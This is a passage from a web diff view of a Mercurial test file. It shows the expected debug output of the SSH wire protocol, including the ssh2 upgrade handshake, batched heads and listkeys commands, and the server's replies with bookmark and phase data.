2101 | o> readline() -> 2: |
|
2097 | o> readline() -> 2: | |
2102 | o> 1\n |
|
2098 | o> 1\n | |
2103 | o> readline() -> 1: |
|
2099 | o> readline() -> 1: | |
2104 | o> \n |
|
2100 | o> \n | |
2105 | sending batch with 3 sub-commands |
|
2101 | sending batch with 3 sub-commands | |
2106 | i> write(6) -> 6: |
|
2102 | i> write(6) -> 6: | |
2107 | i> batch\n |
|
2103 | i> batch\n | |
2108 | i> write(4) -> 4: |
|
2104 | i> write(4) -> 4: | |
2109 | i> * 0\n |
|
2105 | i> * 0\n | |
2110 | i> write(8) -> 8: |
|
2106 | i> write(8) -> 8: | |
2111 | i> cmds 61\n |
|
2107 | i> cmds 61\n | |
2112 | i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases |
|
2108 | i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases | |
2113 | i> flush() -> None |
|
2109 | i> flush() -> None | |
2114 | o> bufferedreadline() -> 4: |
|
2110 | o> bufferedreadline() -> 4: | |
2115 | o> 278\n |
|
2111 | o> 278\n | |
2116 | o> bufferedread(278) -> 278: |
|
2112 | o> bufferedread(278) -> 278: | |
2117 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2113 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2118 | o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2114 | o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2119 | o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n |
|
2115 | o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n | |
2120 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n |
|
2116 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n | |
2121 | o> publishing\tTrue |
|
2117 | o> publishing\tTrue | |
2122 | response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2118 | response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2123 | response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6 |
|
2119 | response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6 | |
2124 | response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue |
|
2120 | response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue | |
2125 |
|
2121 | |||
2126 | testing ssh2 |
|
2122 | testing ssh2 | |
2127 | creating ssh peer from handshake results |
|
2123 | creating ssh peer from handshake results | |
2128 | i> write(171) -> 171: |
|
2124 | i> write(171) -> 171: | |
2129 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
2125 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
2130 | i> hello\n |
|
2126 | i> hello\n | |
2131 | i> between\n |
|
2127 | i> between\n | |
2132 | i> pairs 81\n |
|
2128 | i> pairs 81\n | |
2133 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
2129 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
2134 | i> flush() -> None |
|
2130 | i> flush() -> None | |
2135 | o> readline() -> 62: |
|
2131 | o> readline() -> 62: | |
2136 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
2132 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
2137 | o> readline() -> 4: |
|
2133 | o> readline() -> 4: | |
2138 | o> 412\n |
|
2134 | o> 412\n | |
2139 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
2135 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
2140 | o> read(1) -> 1: |
|
2136 | o> read(1) -> 1: | |
2141 | o> \n |
|
2137 | o> \n | |
2142 | sending batch with 3 sub-commands |
|
2138 | sending batch with 3 sub-commands | |
2143 | i> write(6) -> 6: |
|
2139 | i> write(6) -> 6: | |
2144 | i> batch\n |
|
2140 | i> batch\n | |
2145 | i> write(4) -> 4: |
|
2141 | i> write(4) -> 4: | |
2146 | i> * 0\n |
|
2142 | i> * 0\n | |
2147 | i> write(8) -> 8: |
|
2143 | i> write(8) -> 8: | |
2148 | i> cmds 61\n |
|
2144 | i> cmds 61\n | |
2149 | i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases |
|
2145 | i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases | |
2150 | i> flush() -> None |
|
2146 | i> flush() -> None | |
2151 | o> bufferedreadline() -> 4: |
|
2147 | o> bufferedreadline() -> 4: | |
2152 | o> 278\n |
|
2148 | o> 278\n | |
2153 | o> bufferedread(278) -> 278: |
|
2149 | o> bufferedread(278) -> 278: | |
2154 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2150 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2155 | o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2151 | o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2156 | o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n |
|
2152 | o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n | |
2157 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n |
|
2153 | o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n | |
2158 | o> publishing\tTrue |
|
2154 | o> publishing\tTrue | |
2159 | response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n |
|
2155 | response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n | |
2160 | response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6 |
|
2156 | response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6 | |
2161 | response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue |
|
2157 | response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue |
General Comments 0
You need to be logged in to leave comments.
Login now